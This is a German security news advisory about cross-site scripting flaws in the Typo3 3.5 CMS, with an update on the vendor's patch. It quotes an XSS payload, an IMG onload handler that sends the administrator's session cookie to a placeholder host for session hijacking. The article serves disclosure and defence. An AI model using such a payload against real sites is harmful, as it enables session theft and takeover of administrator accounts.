SicherheitslĂĽcken in Content Management System Typo3 [2. Update]
Durch Einbetten von Scripting Code in HTML-Dokumente können Benutzeraccounts unter Typo3 manipuliert werden.
Thomas Bley von Simple Groupware Solutions hat mehrere Sicherheitslücken im freien Open-Source Content-Management-System (CMS) Typo3 3.5 entdeckt. Typo3 basiert auf PHP und ist somit plattformunabhängig. In Typo3 lässt sich beliebiger Scripting-Code in den HTML-Quelltext von Seiten einbauen. Beim Aufruf einer Seite werden an das CMS verschiedene Parameter übergeben, mit denen beispielsweise das Konto eines authentifizierten Anwenders oder des Administrators deaktiviert oder umbenannt werden kann. Allerdings muss das jeweilige Opfer die manipulierte Seite im CMS aufrufen und Scripting im Browser aktiviert sein.
Mit
<IMG src="http://localhost/quickstart/typo3/gfx/helpbubble.gif"
onload="document.write('<iframe
src=\'http://<my_host>/test.php?cookie='+document.cookie+'\'>');">
kann man das aktuelle Sitzungscookie des Administrators stehlen und an my_host senden. Da Typo3 die IP-Adresse nicht überprüft, kann ein Angreifer die Sitzung des Administrators ohne Authentifizierung übernehmen. Da Skripte bereits beim Laden einer Seite ausgeführt werden können, sollte man als Workaround Scripting deaktivieren.
Derartige Probleme sind jedoch nicht Typo3-spezifisch, sondern finden sich in vielen Open-Source-CMS und Groupware-Lösungen. Insbesondere bei Applikationen die mit PHP programmiert wurden, wie etwa phpBB, PHPNuke und vielen anderen, finden sich immer wieder Cross-Site-Scripting- und SQL-Injection-Schwächen und die Möglichkeit für nicht privilegierte Benutzer, beliebigen Code in HTML-Dokumente einzubetten.
[Update]
Das Typo3-Entwicklerteam hat einen Patch veröffentlicht, um zusätzlich zum Sitzungscookie die IP-Adresse zu überprüfen. Kasper Skårhøj, Core-Developer, sagte: "Der Fehler ist in Umgebungen relevant, in denen man nicht kontrollieren kann, wer Zugriff auf das Backend hat; --inbesondere, welche Benutzer Code in HTML-Seiten einfügen dürfen. Eigentlich als Feature gedacht, kann dies in nicht-vertrauenswürdigen Umgebungen zum Problem werden." Zukünftig soll in der Dokumentation darauf hingewiesen werden und die Möglichkeit bestehen, das Einbetten von Code für bestimmte Benutzer zu verhindern, so Skårhøj gegenüber heise Security. (dab)